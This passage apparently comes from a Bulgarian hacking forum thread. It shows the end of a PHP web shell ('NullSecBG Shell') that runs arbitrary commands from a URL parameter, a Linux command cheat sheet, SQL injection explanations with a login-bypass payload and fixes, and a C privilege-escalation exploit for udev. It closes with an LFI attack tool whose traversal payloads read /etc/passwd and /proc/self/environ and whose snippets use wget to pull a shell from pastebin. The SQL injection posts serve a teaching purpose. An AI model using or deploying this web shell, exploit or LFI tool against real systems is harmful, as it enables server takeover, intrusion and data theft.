if($count_modules == count(apache_get_modules())-1) $result.= "."; else $result.= ", "; $count_modules++; } $result .= "<br />\n"; $result .= "<span class=\"ServerInfoTitle\">Total Loaded Modules:</span> ".$count_modules."<br />\n"; } //Loaded Extensions if(function_exists("get_loaded_extensions") and is_callable("get_loaded_extensions")){ $result .= "<span class=\"ServerInfoTitle\">Loaded Extensions:</span> "; $count_ext = 0; foreach(get_loaded_extensions() as $module){ $result .= $module; if($count_ext == count(get_loaded_extensions())-1) $result.= "."; else $result.= ", "; $count_ext++; } $result .= "<br />\n"; $result .= "<span class=\"ServerInfoTitle\">Total Loaded Extensions:</span> ".$count_ext."<br />\n"; } //Main Path $path = (eregi("win",strtolower($os))) ? "C:" : "/" ; //Drivers if($path != "/"){ $result .= "<span class=\"ServerInfoTitle\">Detected Drivers:</span> "; $count = 1; $Drivers = array(); foreach(range("a","z") as $driver) if(is_dir($driver.":\\")) $Drivers[] = $driver; foreach($Drivers as $driver){ $result .= $driver; if($count == count($Drivers)) $result .= "."; else $result .= ", "; $count++; } } return $result; } function showInfo($cmd) { $user = $_SESSION['user']; $host = $_SESSION['host']; $path = $_SESSION['path']; echo "$host:$path $$user : $cmd"; } if (!empty($_GET['cmd'])) { echo "<br/>"; $cmd = $_GET['cmd']; if (ereg("cd (.*)", $cmd, $file)) { if ($file[1]!='.') { if ($file[1] == '/') { $path = $file[1]; } else if ($file[1] == '..') { $i = strripos($_SESSION['path'], '/'); $path = substr($_SESSION['path'], 0, $i); if ($i == 0 ) { $_SESSION['path'] = '/'; } } else{ if ($_SESSION['path'] == '/') { $path = $_SESSION['path'].$file[1]; } else { $path = $_SESSION['path'].'/'.$file[1]; } } } if((file_exists($file[1]) && is_dir($file[1])) || $file[1]='~') { $_SESSION['path'] = $path; showInfo(''); } else { echo "<pre>$cmd: No such file or directory</pre>"; } } else { $path = $_SESSION['path']; passthru($cmd, $returnval); if($returnval){ echo 'error'; }else{ echo 'done'; } echo "<br/><br/>"; } exit; } function PHPShell(){ if (empty($_SESSION['path'])) { $_SESSION['user'] = shell_exec('whoami'); $_SESSION['host'] = shell_exec('hostname'); $_SESSION['path'] = dirname(__FILE__); } $result = '<div class="log-list"><div id="log-item"></div></div>'; $result .= '<form action="javascript:;" method="post" onsubmit="postCmd(event)"/>'; $result .= '<label id="info" for="cmd"><?php showInfo();?></label>'; $result .= '<input class="form-control" id="cmd" type="text" tab="1" autofocus="autofocus"/>'; $result .= '<a href="#" onclick="postCmd(event);" class="btn btn-block btn-lg btn-success">Success Button</a></form>'; return $result; } ?> <!-- PHP CODE --> <!-- FRONTEND CODE --> <html> <head> <title>NullSecBG Shell</title> <!-- Bootstrap --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <!-- Flat UI --> <link rel="stylesheet" href="https://designmodo.github.io/Flat-UI/dist/css/flat-ui.min.css"> <!-- StyleSheet --> <style> .navi{ border-radius: 0px; } .actions{ margin-bottom: 100px; } .copyright{ text-align: center; } </style> <script> postCmd = function(e) { e.preventDefault; var cmd = document.getElementById('cmd'), log = document.getElementById('log-item'), text = document.getElementById('text'), info = document.getElementById('info'), ajax = new XMLHttpRequest(); if (!cmd.value) {return;}; ajax.open("GET", "?cmd="+cmd.value); ajax.send(); ajax.onreadystatechange = function() { if ( ajax.readyState == 4 ) { if (cmd.value.match("cd ")) { info.innerHTML = ajax.responseText; console.log(ajax.responseText); console.log(info); } else { var t = "<pre>%s</pre>"; log.innerHTML += t.replace('%s', ajax.responseText); } text.scrollIntoView(); cmd.value = ""; } } }; </script> </head> <body> <nav class="navbar navbar-inverse navbar-embossed navi" role="navigation"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbar-collapse-01"> <span class="sr-only">Toggle navigation</span> </button> <a class="navbar-brand" href="#">NullSecBG Shell</a> </div> <div class="collapse navbar-collapse" id="navbar-collapse-01"> <ul class="nav navbar-nav navbar-right"> <li><a href="?">Home</a></li> <li><a href="?act=shell">PHP Shell</a></li> <li><a href="?act=info">Server Information</a></li> </ul> </div><!-- /.navbar-collapse --> </nav> <!-- ACTIONS --> <div class="actions"> <div class="container"> <div class="row"> <?php //Navigation Actions if(isset($_GET["act"])) { switch($_GET['act']){ case 'info': echo(Details()); break; case 'shell': echo(PHPShell()); break; } } ?> </div> </div> </div> <!-- FOOTER --> <div class="copyright"> <div class="container"> <p>PWNED by NullSecBG &copy; 2016 <br> [ Execution Time: <?php echo $EndTime ?>] [ Shell Version: <?php echo $ver ?> ]</p> </div> </div> <script type="text/javascript" src="https://designmodo.github.io/Flat-UI/dist/js/vendor/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" ></script> <script type="text/javascript" src="https://designmodo.github.io/Flat-UI/dist/js/flat-ui.min.js"></script> </body> </html> <!-- FRONTEND CODE -->
  17. Команди за Linux или за Shell passwd променяте паролата си pwd показва в коя директория се намирате в момента ls показва файловете в директорията ( dir ) ls -la показва всички файлове в директорията и с какви позволения за използване са cd отивате във вашата home директория ( cd ~ ) cd directory влизате в директория cd .. качва ви една директория нагоре cd - връща ви в предишната работна директория, преди последната cd команда mkdir directory създава директория cp file1 file2 копира файл - на мястото на file2 може да поставите път до директория, в която да се копира mv file1 file2 премества или преименува файл rm file изтрива файл rm -rf directory изтрива директория и всичко в нея, без да ви пита за потвърждение ln file1 file2 създава твърда връзка към файл в зададеното място ln -s file1 file2 създава символна връзка към файл или директория pico текстов редактор с който можете да редактирате файлове - pico file nano, ee, ed, emacs joe, elvis, mcedit, vi още текстови редактори за конзола cat file показва съдържанието на файлът в терминалът less file показва съдържанието на файлът по страници head file показва първите 5 реда от даден файл tail file показва последните 5 реда от даден файл nl file показва редовете на дадения файл и ги номерира wc file показва броят думи, линии и байтове от даден файл wc -l file показва броят линии в даден файл sort file сортира текстови файлове по редове cmp file1 file2 сравнява два файла байт по байт diff file1 file2 сравнява два текстови файла по редове и показва съдържанието им echo -n "" > file изчиства файл - ако искате да изтриете съдържанието на някой log файл touch file -a -m -c -t MMDDhhmmCCYY променя timestamp на файла locate търсите файл find / -name "file" претърсва цялото дърво за файл whereis file търси за път към файл grep -1 "text" file търсите текст в един или много файлове file file показва формата на файла cron daemon за изпълнение на команди по списък history история на въведените команди в конзолата ps показва ви списък с процесите, които сте пуснали ps -ux показва процесите, които сте пуснали и допълнителна информация като PID (Process ID Number) kill -9 PID спира процес - заместете PID с номерът на процеса, който искате да спрете kill -9 -1 спира всички процеси (програми) които сте пуснали pine малка програма за четене и изпращане на e-mail mail друга програма за е-mail quota -v показва ви колко дисково пространство използвате df показва заетото място на диска du показва оставащото свободно място на диска du -sm directory показва големината на всички файлове от дадената директория в мегабайти free показва използваната памет fsck проверка на файловата система date показва датата и часа на сървърът cal показва календар whoami показва с какъв потребителски псевдоним сте и от какъв хост сте влезли в сървърът who показва хората, които са влезли на сървъра в момента w показва хората, които са на сървърът, както и времето от което е пуснат и натовареността му id показва id на потребителя и групата uptime показва от колко време е пуснат сървърът и колко е натоварен clear изчиства показваната информация в конзолата chmod променя позволението за използване на файл или директория chmod +x file правите файла изпълним chown променя собственика и групата на файл/директория chgrp променя групата, която е собственик на файл/директория sudo file изпълнява файлове изискващи Super-User Rights su влизате под друг псевдоним ( root ) tar -cfv archive.tar files създава .tar архив и запазва файловете некомпресирани tar -xpvf archive.tar files екстрактва файловете от .tar архив tar -tf archive.tar | less показва съдържанието на .tar архив bzip2 file компресира файл до .bz2 файл gzip file компресира файл до .gz файл gunzip file.gz разкомпресира .gz файл tar -cfvz archive.tar.gz files създава .tar.gz компресиран архив tar -zxvf file.tar.gz разкомпресира и екстрактва .tar.gz файл tar –jxvf file.tar.bz2 разкомпресира и екстрактва .tar.bz2 файл
  18. Примерно да речем, че имаш логин страница, която ще изглежда приблизително така: <form method="POST"> <input type="text" name="username" /> <input type="password" name="password" /> <input type="submit" name="loginformsubmit" value="вход"/> </form> <?php if(isset($_POST['loginformsubmit'])){ //Този код се изпълнява само тогава, когато е натиснат бутона вход $username = $_POST['username']; $password = $_POST['password']; $sql = " SELECT * FROM `users` WHERE `username`='$username' AND `password`='$password' "; //След това изпълняваме SQL-a, без значение как. Белята вече е станала $q = mysql_query($sql); $r = mysql_fetch_array($q); if(!empty($r)){ echo "logged"; } } ?> Този код работи, НО той има една огромна слабост. Ако някой въведе в полето за паролата следното: linuxmaster' OR '1'='1 към базата ще се прати следният SQL: SELECT * FROM `users` WHERE `username`='anyname' AND `password`='linuxmaster' OR '1'='1' Този SQL се изпълнява и хакер влиза в профила с име "anyname", но без да ползва парола. Решения: Споменатите в предишният отговор проверки Ползване на ORM (Object relational mapper) - в зависимост от езика, който се ползва има различни възможности (при PHP най-препоръчван е doctrine) Или при изпълнение на самият SQL да се bind-ват параметрите. При php това става чрез PDO. Показаният по-горе код би изглеждал по следният начин: if(isset($_POST['loginformsubmit'])){ //Този код се изпълнява само тогава, когато е натиснат бутона вход $username = $_POST['username']; $password = $_POST['password']; $sql = " SELECT * FROM users WHERE username=:username AND password=:password "; //При изпълнение по този начин сме защитени от SQL инжекция $statement = $db->prepare($sql); $statement->bindValue(':username',$username); //тук bind-ваме с помощта на PDO $statement->bindValue(':password',$password); $statement->execute(); $r = $statement->fetchAll(); if(!empty($r)){ echo "logged"; } }
  19. Интродукция SQL Injector е техника за инжектиране на код който се използва за атака. Тя позволява да вземеш информацията на една база данни. Първите признаци за уязвимост се появяват когато потребителят който използва SQL Injection въведе знаци които не могат да се филтрират правилно. Нека да речем, че нашият сайт има страница http://localhost/news.php?id=3 Първото нещо което трябва да направя аз като тест е да добавя знак ' след id=3 http://localhost/news.php?id=3' И ако нашият сайт е уязвим на такъв вид атака то ще ни излезе съобщение със следната информация Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line Как да се предпазиме от такъв вид атаки? Да речем, че това е нашият код <?php if(isset($_GET['id'])){ // danni ot news $sel = mysql_query("SELECT * FROM news WHERE id = '".$_GET['id']."'"); $row = mysql_fetch_array($sel); } ?> Ако сме задали променливата id то тогава ще изберем всичко от news с това id, но след като добавиме още една кавичка след id = '".$_GET['id']."' то целият код ще даде една перфектна грешка за един хакер да проникне в нашата система. За да оправиме този проблем, към нашият код трябва да добавим, че искаме да се въвеждат само цифри(is_numeric) което автоматично ще ни предпази от следваща SQL атака <?php if(isset($_GET['id']) && is_numeric($_GET['id'])){ // danni ot news $sel = mysql_query("SELECT * FROM news WHERE id = '".$_GET['id']."'"); $row = mysql_fetch_array($sel); } ?>
  20. 1. Използвайте Tor Browser 2. Използвайте VPN Service 3. Използвайте DuckDuckGo 4. Използвайте Cryptocat 5. Използвайте Virus Total
  21. /* # Title: Linux Kernel 4.8.0 udev 232 - Privilege Escalation # Author: Nassim Asrir # Researcher at: Henceforth # Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/ # The full Research: https://www.facebook.com/asrirnassim/ # CVE: CVE-2017-7874 # Exp # first of all we need to know a small infos about udev and how it work the udev deamon is responsible for receiving device events from the kernel and this event are delivered to udev via netlink (is a socket family) you can read more about udev from: https://en.wikipedia.org/wiki/Udev # Exploit # The udev vulnerability resulted from a lack of verification of the netlink message source in udevd. read lines from: /lib/udev/rules.d/50-udev-default.rules all we need is this action: ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}" this action allows execution of arbitrary commands. in our exploit we specifying a malicious REMOVE_CMD and causes the privileged execution of attacker-controlled /tmp/run file. Get your udev version: Execute: $ udevadm --version //output: 232 Maybe < 232 also is vulnerable */ // gcc rootme.c -o rootme // ./rootme // segmantation fault #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/types.h> #include <linux/netlink.h> #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif int main(int argc, char **argv) { int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &address, sizeof(address)); mp = message; mp += sprintf(mp, "a@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/foo") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; }
  22. <?php /** * @author T0rX * @version 0.3 **/ // no time limit set_time_limit(0); // don't display errors error_reporting(0); class LFI_Tool { // variable that come from $_GET and $_POST // values here are defaults and maybe overwritten // in the assign_vars() function private $url = ''; private $file = 'index.php'; private $code = '<?php phpinfo(); ?>'; private $head = 'User-Agent'; private $act; private $debug; // used in the tester act private $test_passwd; private $test_environ; private $test_input; private $test_filter; private $test_data; // if the curl request fails then the // error gets stored in here private $request_error = ''; // errors that can occur CONST NO_B64_STR = 'Could not find any base64 strings.'; CONST INJ_FAILED = 'Code injection failed.'; // used for the tester act CONST REQ_FAILED = 'REQ FAILED'; CONST SUCCESS = 'PASSED'; CONST FAILURE = 'FAILED'; CONST ENVIRON = 1; CONST TESTER = 2; CONST FILTER = 3; CONST INPUT = 4; CONST DATA = 5; // gets inserted into the snippets below private $shell_link = 'http://pastebin.com/raw.php?i=E3ms58ZS'; // some useful code snippets // [shell] gets replaced with $shell_link later // // looks like shit, but meh public $snippets = array( 'phpinfo' => '<?php phpinfo(); ?>', 'get_contents' => '<?php\necho file_get_contents(\'index.php\');\n?>', 'fwrite' => '<?php\n$fh = fopen(\'foobar.php\', \'w+\'); fwrite($fh, \'\');\nfclose($fh);\n?>', 'put_contents' => '<?php\n$c = file_get_contents(\'[shell]\'); file_put_contents(\'foobar.php\', $c);\n?>', 'wget' => '<?php\nexec(\'wget [shell] -O foobar.php\');\n?>' ); public function __construct() { $this->assign_vars(); } private function assign_vars() { $this->url = isset($_POST['url'] ) ? $_POST['url'] : $this->url ; $this->file = isset($_POST['file'] ) ? $_POST['file'] : $this->file ; $this->code = isset($_POST['code'] ) ? $_POST['code'] : $this->code ; $this->head = isset($_POST['head'] ) ? $_POST['head'] : $this->head ; $this->act = isset($_GET['act'] ) ? $_GET['act'] : $this->act ; // for the checkboxes $this->debug = isset($_POST['debug'] ) ? true : false ; $this->test_passwd = isset($_POST['test_passwd'] ) ? true : false ; $this->test_environ = isset($_POST['test_environ'] ) ? true : false ; $this->test_input = isset($_POST['test_input'] ) ? true : false ; $this->test_filter = isset($_POST['test_filter'] ) ? true : false ; $this->test_data = isset($_POST['test_data'] ) ? true : false ; // make sure it is a valid act $valid_acts = array(self::ENVIRON, self::DATA, self::INPUT, self::FILTER, self::TESTER); if (!in_array($this->act, $valid_acts)) { // default act $this->act = self::TESTER; } // spaces mess up urls :-( $this->url = trim($this->url); // make sure the url starts with either http:// or https:// if ( !empty($this->url) && stripos($this->url, 'http://') !== 0 && stripos($this->url, 'https://') !== 0 ) { // if it doesn't simply add http:// $this->url = 'http://'.$this->url; } // [here] not in the url so lets just put it on the end of the url if (!empty($this->url) && strpos($this->url, '[here]') === false) { // only filter and data need things inserting into // the url, the others should have everything they need already if ( $this->act == self::FILTER || $this->act == self::DATA || $this->act == self::TESTER ) { $this->url = $this->url.'[here]'; } } $this->original_url = $this->url; } private function reset_url() { $this->url = $this->original_url; } // returns the navigation menu public function navigation() { // the key will become a $_GET variable // the value is the link text $nav_items = array( self::TESTER => 'TESTER', self::FILTER => 'FILTER', self::INPUT => 'INPUT', self::DATA => 'DATA', self::ENVIRON => 'ENVIRON' ); $nav = ''; foreach ($nav_items as $t_act => $t_text) { // makes the page we are on appearer like this: // > FILTER < $t_text = ($this->act == $t_act) ? ' &gt; '.$t_text.' &lt; ' : $t_text ; $nav .= '<div><a href="?act='.$t_act.'">'.$t_text.'</a></div>'; } return '<div class="nav-wrap">'.$nav.'</div>'; } // returns the form for the current act public function form() { $form = ''; // nice XSS free variables $head = $this->clean($this->head); $code = $this->clean($this->code); $file = $this->clean($this->file); $url = $this->clean($this->url ); switch ($this->act) { case self::ENVIRON: // the header that we will inject the code into in /proc/self/environ $form .= ' <div>Header: </div> <div><input type="text" name="head" value="'.$head.'" /></div> '; case self::INPUT: case self::DATA: // all three can run code $form .= ' <div>Code to run: </div> <div><textarea name="code">'.$code.'</textarea></div> '; // add some very useful php snippet buttons $form .= $this->snippet_buttons(); break; // php://filter is the only one that needs a filename case self::FILTER: $form .= ' <div>Filename: </div> <div><input type="text" name="file" value="'.$file.'" /></div> '; break; case self::TESTER: $form .= ' <div class="option-list"> <div> <input type="checkbox" name="test_passwd" '.$this->checked($this->test_passwd).' /> : /etc/passwd </div> <div> <input type="checkbox" name="test_environ" '.$this->checked($this->test_environ).' /> : /proc/self/environ </div> <div> <input type="checkbox" name="test_filter" '.$this->checked($this->test_filter).' /> : php://filter </div> <div> <input type="checkbox" name="test_input" '.$this->checked($this->test_input).' /> : php://input </div> <div> <input type="checkbox" name="test_data" '.$this->checked($this->test_data).' /> : data:// </div> </div> '; break; } // the tester act doesn't need a debug option $debugTag = 'Debug <input type="checkbox" name="debug" '.$this->checked($this->debug).' />'; $debugTag = $this->act != self::TESTER ? $debugTag : '' ; return ' <div class="form-wrap"> <form method="post" action=""> <div>URL: </div> <div><input type="text" name="url" value="'.$url.'" placeholder="'.$this->url_placeholder().'" /></div> '.$form.' <div> '.$debugTag.' <input type="submit" value="'.$this->submit_btn_text().'" /> </div> </form> </div> '; } private function checked($checked) { return $checked ? ' checked="checked" ' : '' ; } private function url_placeholder() { $placeholders = array( self::ENVIRON => '/proc/self/environ', self::INPUT => 'php://input', self::DATA => '[here]', self::FILTER => '[here]', self::TESTER => '[here]', ); return 'http://www.example.com/index.php?page='.$placeholders[$this->act]; } private function submit_btn_text() { $btn_texts = array( self::ENVIRON => 'Inject Code!', self::INPUT => 'Inject Code!', self::DATA => 'Inject Code!', self::FILTER => 'Get File!', self::TESTER => 'Run Tests!', ); return $btn_texts[$this->act]; } // makes the buttons for the snippets, obviously private function snippet_buttons() { $buttons = ''; foreach ($this->snippets as $text => $code) { $buttons .= '<input type="button" value="'.$text.'" />'; } return '<div class="snip-wrap">'.$buttons.'</div>'; } public function result() { if (empty($this->url)) { return ''; } $is_tester = ($this->act == self::TESTER); $is_filter = (!empty($this->file) && $this->act == self::FILTER); $is_input = (!empty($this->code) && $this->act == self::INPUT); $is_data = (!empty($this->code) && $this->act == self::DATA); $is_environ = (!empty($this->code) && !empty($this->head) && $this->act == self::ENVIRON); $output = ''; if ($is_tester) { if ($this->test_passwd) { $output .= $this->test_passwd(); } if ($this->test_environ) { $output .= $this->test_environ(); } if ($this->test_input) { $output .= $this->test_data_input(false); } if ($this->test_data) { $output .= $this->test_data_input(true); } if ($this->test_filter) { $output .= $this->test_filter(); } } if ($is_filter) { $output .= $this->filter(); } if ($is_data || $is_environ || $is_input) { $output .= $this->inj_code(); } return '<div class="result-wrap">'.$output.'</div>'; } // if $just_code is true then this function just returns the // base64 decoded page or possibly an error private function filter($just_code = false) { $filter = 'php://filter/convert.base64-encode/resource='.$this->file; $this->url = str_replace('[here]', $filter, $this->url); $contents = $this->get_contents($this->url); if ($just_code === true && $contents === false) { return self::REQ_FAILED; } if ($contents === false) { return $this->error($this->request_error); } $b64_str = $this->longest_b64($contents); if ($b64_str == self::NO_B64_STR) { return $this->error(self::NO_B64_STR); } if ($just_code === true) { return base64_decode($b64_str); } // nice XSS free variables $url = $this->clean($this->url); $contents = $this->clean($contents); $db64_str = $this->clean(base64_decode($b64_str)); // output time! $output = ' <div> <input type="text" value="'.$url.'" /> <a href="'.$url.'">[LINK]</a> </div> '; if ($this->debug) { $output .= ' <div>Full source:</div> <div><textarea>'.$contents.'</textarea></div> <div>Base64 string:</div> <div><input type="text" value="'.$b64_str.'" /></div> <div>Decoded base64 string:</div> '; } $output .= ' <div><textarea>'.$db64_str.'</textarea></div> '; return $output; } // proc, data and input all get code injected // so this function handles them all // // if $just_code is true then this function just returns // what ever the code outputted or possibly an error private function inj_code($just_code = false) { // add random strings around the code output // so we can extract what is in between later $str1 = $this->rand_str(); $str2 = $this->rand_str(); switch ($this->act) { case self::DATA: // make the code so we can extract what is returned later $this->code = '<?php echo "'.$str1.'"; ?>'.$this->code.'<?php echo "'.$str2.'"; ?>'; // we need to use urlencode or the + signs in the base64 get converted to spaces $filter = urlencode('data://text/plain;base64,'.base64_encode($this->code)); $this->url = str_replace('[here]', $filter, $this->url); // data urls just get a plain GET request $contents = $this->get_contents($this->url); break; case self::INPUT: // php://input is nice and simple // just post the code to the website ^_^ $this->code = $str1.$this->code.$str2; // code goes through post $contents = $this->get_contents($this->url, $this->code); break; case self::ENVIRON: // http headers can't contain new lines // so just replace then with spaces $this->code = str_replace(chr(10), ' ', $this->code); $this->code = $str1.$this->code.$str2; // code gets put into a http header $contents = $this->get_contents($this->url, '', array($this->head => $this->code)); break; } if ($just_code === true && $contents === false) { return self::REQ_FAILED; } if ($contents === false) { return $this->error($this->request_error); } // changed this to greedy as phpinfo() prints $str2 out and fucks everything up if (!preg_match('#'.$str1.'(.*)'.$str2.'#mis', $contents, $code_output)) { return $this->error(self::INJ_FAILED); } if ($just_code === true) { return $code_output[1]; } // nice XSS free variables $url = $this->clean($this->url); $code = $this->clean($this->code); $contents = $this->clean($contents); $code_output = $this->clean($code_output[1]); // output time! $output = ' <div> <input type="text" value="'.$url.'" /> <a href="'.$url.'">[LINK]</a> </div> '; if ($this->debug) { $output .= ' <div>Full source:</div> <div><textarea>'.$contents.'</textarea></div> <div>Code injected:</div> <div><textarea>'.$code.'</textarea></div> <div>Code returned:</div> '; } $output .= ' <div><textarea>'.$code_output.'</textarea></div> '; return $output; } // run tests to look for /proc/self/environ private function test_environ() { $filenames = array( '/proc/self/environ', '/proc/self/environ%00', '/proc/foo/../self/bar/../environ', '/proc/foo/../self/bar/../environ%00', '../../../../../../../../../../../../../../../../proc/self/environ', '../../../../../../../../../../../../../../../../proc/self/environ%00', '../../../../../../../../../../../../../../../../proc/foo/../self/bar/../environ', '../../../../../../../../../../../../../../../../proc/foo/../self/bar/../environ%00' ); $headers = array( 'HTTP_USER_AGENT', 'HTTP_ACCEPT_LANGUAGE', 'HTTP_ACCEPT_ENCODING', 'HTTP_HOST', 'HTTP_CACHE_CONTROL', 'HTTP_CONNECTION', 'PATH', 'SERVER_SIGNATURE', 'SERVER_SOFTWARE', 'SERVER_NAME', 'SERVER_ADDR', 'SERVER_PORT', 'REMOTE_ADDR', 'DOCUMENT_ROOT', 'SERVER_ADMIN', 'SCRIPT_FILENAME', 'REMOTE_PORT', 'REDIRECT_QUERY_STRING', 'REDIRECT_URL', 'GATEWAY_INTERFACE', 'SERVER_PROTOCOL', 'REQUEST_METHOD', 'GETQUERY_STRING', 'REQUEST_URI', 'SCRIPT_NAME', 'PATH_INFO', 'PATH_TRANSLATED', 'PATH', 'PWD', 'TEMP', 'TMPDIR' ); $output = '<h1>Testing /proc/self/environ</h1>'; foreach ($filenames as $filename) { // gotta reset the url or [here] won't be in it $this->reset_url(); // insert the filename $this->url = str_replace('[here]', $filename, $this->url); // send the request and check for failure $contents = $this->get_contents($this->url); if ($contents === false) { $output .= $this->tester_result(self::REQ_FAILED); continue; } if (preg_match('#('.implode('|', $headers).')\=(.*?)\x00#ms', $contents)) { // default message $inj_headers_str = 'No injectable headers found.'; // extract injectable http headers if (preg_match_all('#HTTP_([A-Z_]+?)\=(.*?)\x00#ms', $contents, $inj_headers)) { $inj_headers_str = $this->format_environ_headers($inj_headers[1]); $inj_headers_str = ' <strong>Injectable headers found: </strong> '.$inj_headers_str.' '; } $output .= $this->tester_result(self::SUCCESS, $inj_headers_str); } else { $output .= $this->tester_result(self::FAILURE); } } return $output; } // run tests to look for /etc/passwd private function test_passwd() { // file names to test $filenames = array( '/etc/passwd', '/etc/passwd%00', '/etc/foo/../passwd', '/etc/foo/../passwd%00', '../../../../../../../../../../../../../../../../etc/passwd', '../../../../../../../../../../../../../../../../etc/passwd%00', '../../../../../../../../../../../../../../../../etc/foo/../passwd', '../../../../../../../../../../../../../../../../etc/foo/../passwd%00' ); $output = '<h1>Testing /etc/passwd</h1>'; foreach ($filenames as $filename) { // gotta reset the url or [here] won't be in it $this->reset_url(); // insert the filename $this->url = str_replace('[here]', $filename, $this->url); // send the request and check for failure $contents = $this->get_contents($this->url); if ($contents === false) { $output .= $this->tester_result(self::REQ_FAILED); continue; } // to match things like: // root:x:0:0:root:/root:/bin/bash if (preg_match('#(.*?):(.*?):([0-9]*?):([0-9]*?):(.*?):/(.*?):/(.*?)#mis', $contents)) { $output .= $this->tester_result(self::SUCCESS); } else { $output .= $this->tester_result(self::FAILURE); } } return $output; } // test for php://filter private function test_filter() { $this->act = self::FILTER; $url_parts = parse_url($this->url); $filename = end(explode('/', $url_parts['path'])); // no filename, index.php it is $filename = empty($filename) ? 'index.php' : $filename ; // list of filenames to try $filenames = array( $filename, $this->remove_extension($filename), $filename.'%00' ); $output = '<h1>Testing php://filter</h1>'; foreach ($filenames as $file) { $this->reset_url(); $this->file = $file; $result = $this->filter(true); if ($result == self::REQ_FAILED) { $output .= $this->tester_result(self::REQ_FAILED); continue; } // if <? is in the decoded base64 then // it has php and it worked if (strpos($result, '<?') === false) { $output .= $this->tester_result(self::FAILURE); continue; } $output .= $this->tester_result(self::SUCCESS); } return $output; } private function remove_extension($filename) { return preg_replace('/\\.[^.\\s]{3,4}$/', '', $filename); } // tests for data:// and php://input // depending on $isData private function test_data_input($isData = false) { $this->reset_url(); $this->code = '<?php phpinfo(); ?>'; if (!$isData) { $this->act = self::INPUT; $this->url = str_replace('[here]', 'php://input', $this->url); $output = '<h1>php://input</h1>'; } else { $this->act = self::DATA; $output = '<h1>data://</h1>'; } $code_output = $this->inj_code(true); if ($code_output == self::REQ_FAILED) { $output .= $this->tester_result(self::REQ_FAILED); } else if ( $code_output == self::INJ_FAILED || strpos($code_output, '<title>phpinfo()</title>') === false ) { $output .= $this->tester_result(self::FAILURE, 'Could not execute &lt;?php phpinfo(); ?&gt;'); } else { $output .= $this->tester_result(self::SUCCESS, 'Executed &lt;?php phpinfo(); ?&gt;'); } return $output; } private function tester_result($type, $extra = '') { $classes = array( self::REQ_FAILED => 'blue', self::SUCCESS => 'green', self::FAILURE => 'red' ); $class = $classes[$type]; if ($type == self::REQ_FAILED) { $extra = $this->error($this->request_error); } if (!empty($extra)) { $extra = '<div class="small" style="margin-bottom: 10px;">'.$extra.'</div>'; } $url = $this->clean($this->url); return ' <div class="tester-result"> <input type="text" value="'.$url.'" /> <a href="'.$url.'" target="_blank">[<span class="'.$class.'">'.$type.'</span>]</a> '.$extra.' </div> '; } // returns the longest base64 string in $str private function longest_b64($str) { // i both hate and love regex preg_match_all('#([A-Za-z0-9+/=]+)#', $str, $b64_arr); if (count($b64_arr) == 0) { return self::NO_B64_STR; } $b64_str = ''; foreach ($b64_arr[1] as $b64) { if (strlen($b64) > strlen($b64_str) && base64_decode($b64, true) !== false) { $b64_str = $b64; } } return $b64_str; } private function get_contents($url, $postdata='', $headers=array()) { // we don't need these values any more $this->request_error = ''; $this->request_headers = ''; // set a user-agent if we are not injection into it if (!isset($headers['User-Agent'])) { $headers['User-Agent'] = $this->rand_useragent(); } $headers = $this->format_headers($headers); $ch = curl_init($url); curl_setopt($ch, CURLOPT_HTTPHEADER , $headers ); curl_setopt($ch, CURLOPT_RETURNTRANSFER , true ); curl_setopt($ch, CURLOPT_FAILONERROR , true ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION , false ); curl_setopt($ch, CURLOPT_TIMEOUT , 30 ); // curl_setopt($ch, CURLINFO_HEADER_OUT , true ); if (!empty($postdata)) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); } if (($page_contents = curl_exec($ch)) === false) { // OH NOES! an error! $this->request_error = curl_error($ch); } // var_dump(curl_getinfo($ch, CURLINFO_HEADER_OUT)); curl_close($ch); return $page_contents; } // merges array key with its value seperated by ': ' private function format_headers($headers) { return array_map(function ($k, $v) { return $k.': '.$v; }, array_keys($headers), $headers); } // converts things like USER_AGENT to User-Agent private function format_environ_headers($headers) { $headers = array_unique($headers); foreach ($headers as &$value) { $value = strtolower($value); $value = str_replace('_', ' ', $value); $value = ucwords($value); $value = str_replace(' ', '-', $value); // make them yellow to stand out more $value = '<span class="yellow">'.$value.'</span>'; } return implode(', ', $headers); } // stops XSS and such private function clean($str) { // ENT_SUBSTITUTE helps with different character sets // without it htmlentities() will sometimes return empty strings return htmlentities($str, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } private function rand_str() { return md5(mt_rand(10000, 99999)); } private function error($msg) { return ' <div> <strong>ERROR : </strong> <span class="red">'.$this->clean($msg).'</span> </div> '; } // returns a random user-agent private function rand_useragent() { $user_agents = array( 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5', 'Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; 